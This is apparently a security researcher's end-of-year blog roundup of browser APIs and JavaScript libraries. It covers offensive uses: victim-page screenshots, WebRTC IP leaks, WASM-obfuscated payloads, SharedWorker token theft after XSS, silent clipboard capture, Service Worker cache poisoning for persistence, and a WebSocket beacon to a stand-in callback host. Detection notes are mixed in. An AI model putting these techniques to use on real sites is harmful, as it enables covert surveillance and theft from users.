End-of-year post. This one is a roundup of JavaScript libraries and browser APIs that I’ve found interesting from a security angle in 2025 — either because they’re useful for offensive tooling, because they’re misunderstood in ways that create vulnerabilities, or because they expose attack surface that defenders miss.
Not a “top 10” list with scores. Just things I’ve actually used or researched this year.
FingerprintJS — the reference implementation
fingerprintjs is the open-source library that powers a lot of commercial fingerprinting. The OSS version (v5 as of this writing) computes a visitorId from ~50 browser attributes, hashed with MurmurHash3. Accuracy hovers around 40–60% for re-identification — lower than the commercial Pro version but good enough for understanding what’s publicly achievable.
Useful for two things:
Baseline comparison: running fpjs alongside your own fingerprinting gives you a reference point. If your
Fuhash and the fpjsvisitorIdagree across sessions, confidence in the identifier goes up. If they diverge, something changed — browser update, canvas noise injection, different GPU.Understanding what browsers expose: reading the fpjs source is the fastest way to understand what browser attributes are stable, which are noisy, and which require specific permissions. The component list in
src/sources/is a useful inventory of fingerprinting surface.
What it doesn’t do: the OSS version has no bot detection and no IP intelligence. The commercial Pro version adds those, but for offensive tooling the OSS version is plenty.
1 | import FingerprintJS from '@fingerprintjs/fingerprintjs'; |
html2canvas — screenshots from JavaScript
html2canvas re-renders the current DOM into a <canvas> element. It’s not a real screenshot (it’s a CSS rendering approximation), but it captures enough of the page to be operationally useful.
From a security tooling perspective it’s the simplest way to get a visual snapshot of what a victim is looking at:
1 | html2canvas(document.body).then(canvas => { |
Limitations worth knowing:
- Cross-origin images in the DOM are skipped unless CORS headers are present (canvas taint rules)
- CSS
transformand some complex layouts render incorrectly - Shadow DOM elements are often invisible to html2canvas
<video>frames,<canvas>elements, and WebGL content are approximated or blank
The output size can be large. Compressing with JPEG at 0.5–0.7 quality brings a full-HD page screenshot down to 100–300 KB. Still a significant payload — streaming it over WebSocket in chunks is cleaner than a single HTTP POST.
WebRTC and the internal network probe
WebRTC was designed for peer-to-peer media. The ICE candidate gathering phase — where the browser finds all its network interfaces to establish a direct connection — is what makes it interesting for reconnaissance.
The trick: you can trigger ICE gathering without ever establishing a real connection:
1 | const pc = new RTCPeerConnection({ iceServers: [] }); |
What you get:
- Public IP (if no NAT)
- LAN IP (192.168.x.x, 10.x.x.x, 172.16.x.x)
- VPN tunnel IP (if a VPN is active, you get both the VPN address and the underlying LAN address)
- Multiple IPs if the machine has multiple network interfaces (wired + wireless + VPN)
This runs with zero permissions — no camera, no microphone, no user interaction. Chrome and Firefox both expose it. Firefox added a media.peerconnection.enabled pref to disable it, and Brave blocks it by default. Safari has historically been more restrictive.
The defensive recommendation for enterprise environments: media.peerconnection.enabled = false in Firefox managed policies, or a browser extension that intercepts RTCPeerConnection construction.
WASM for payload obfuscation
WebAssembly is now a standard offensive tool for obfuscation. JavaScript-based detections (static analysis, behavioral signatures) largely don’t apply to WASM binaries — you’d need a WASM disassembler and the logic to interpret the bytecode.
Two patterns I’ve seen:
WASM for compute-heavy fingerprinting: Canvas and WebGL fingerprinting gets more unique results when you run custom WASM shaders. The rendering output depends on the GPU’s WASM JIT implementation, not just the browser’s canvas API. Harder to spoof.
WASM for obfuscated logic: The actual malicious logic (credential parsing, data encoding, C2 protocol) lives in a WASM binary. The JavaScript wrapper is minimal and looks clean. The WASM binary is fetched dynamically (can be base64-encoded or split into chunks).
1 | // Fetch and instantiate WASM binary at runtime |
From a detection standpoint: look for WebAssembly.instantiate or WebAssembly.compile calls, especially when the source URL is a CDN or data URI. WASM from a data URI is a strong signal.
Comlink — Web Workers communication
Comlink wraps postMessage for Web Workers to make them look like async function calls. Security relevance: it’s used in a lot of modern apps to move sensitive computation (crypto, token handling, data processing) into Workers.
Why this matters offensively: Web Workers have a separate JS context but share the same origin. If you have XSS on the main thread, you can:
- Enumerate active Workers: not directly possible, but if Comlink exposes a
SharedWorker, all tabs on the same origin can connect to it - Intercept the
postMessagechannel: if the app uses aSharedWorkerfor auth token management, you can connect to it from your injected script and call its methods
1 | // If the app uses Comlink with a SharedWorker for tokens: |
This is an architectural vulnerability pattern — putting sensitive data in a SharedWorker doesn’t protect it from same-origin XSS.
crypto-js — common misuse patterns
crypto-js is one of the most installed JS crypto libraries. It keeps appearing in client-side code doing things it shouldn’t. Common misuse:
Encrypting data client-side with a hardcoded key:
1 | // In the bundle, visible to anyone who opens DevTools: |
The key is in the source. The data is not protected. This shows up in apps that want to “secure” data in localStorage against casual snooping without understanding the threat model.
Using CryptoJS.MD5 for passwords:
1 | const hash = CryptoJS.MD5(password).toString(); |
MD5 is not a password hash. It has no salt and is trivially rainbow-table’d. In audits, finding CryptoJS.MD5 with user-supplied input is nearly always a finding.
ECB mode (the default):
CryptoJS defaults to CBC, but I’ve seen code explicitly setting mode: CryptoJS.mode.ECB. ECB is deterministic — encrypting the same plaintext always produces the same ciphertext. Leaks patterns. Never use ECB for anything meaningful.
Clipboard API — read without permission… sometimes
navigator.clipboard.readText() requires the clipboard-read permission. The user sees a prompt. But there’s a looser path:
The paste event fires when the user presses Ctrl+V, and event.clipboardData.getData('text/plain') works inside that handler without any permission prompt:
1 | document.addEventListener('paste', (e) => { |
If your payload is running on a page where the user might paste something (a login page, a crypto address input, a terminal-in-browser), this silently captures clipboard content on paste. No permission required, no visible prompt.
The copy event is symmetric — capture what the user copies without any clipboard permission:
1 | document.addEventListener('copy', (e) => { |
Web Workers as persistent compute
Web Workers run in a separate thread and don’t get suspended when the page is backgrounded. From a resource abuse perspective this is how cryptominers work. From a security tooling perspective it’s how you run a continuous network scan without blocking the main thread:
1 | // main.js |
The scan runs in the Worker thread. The main page remains responsive. If the user navigates away but the tab stays open (common on mobile), the Worker continues scanning.
Cache API — storing payloads across navigations
The Cache API (used by Service Workers) can store arbitrary responses. A script with access to the Cache API can persist payloads across navigations:
1 | const cache = await caches.open('__assets_v2__'); |
If the page later requests /analytics.js and a Service Worker intercepts it, it can serve the cached malicious version instead of the real one — even if the attacker’s XSS is long gone.
The combination of “XSS to register SW” + “SW to poison cache” creates a persistence chain that survives the initial XSS session and re-runs on every future visit to the origin.
WebSocket keep-alive as a timing beacon
Even without sending meaningful data, a WebSocket connection open between a browser and a server is observable. From a network monitoring perspective, a machine with an unusual persistent WebSocket connection to an external host is a signal.
From an offensive perspective, a lightweight keep-alive ping every 30 seconds gives you a “victim is still browsing” signal with no meaningful data:
1 | const ws = new WebSocket('wss://callback.example.com'); |
This is about presence detection more than data exfiltration — knowing a target’s browser is still open with your payload loaded, without burning bandwidth.
That’s the list for 2025. Some of this is old in concept but seeing active use in newer tooling. The browser keeps gaining APIs (WebUSB, WebBluetooth, WebSerial, WebNFC on mobile) and each one adds attack surface that defenders are still figuring out how to monitor. Good time to be paying attention to browser security research.
![Keramon [Child / Virus] Keramon](/blog/img/digimon-pets/keramon.gif)
![Chrysalimon [Adult / Unknown] Chrysalimon](/blog/img/digimon-pets/chrysalimon.gif)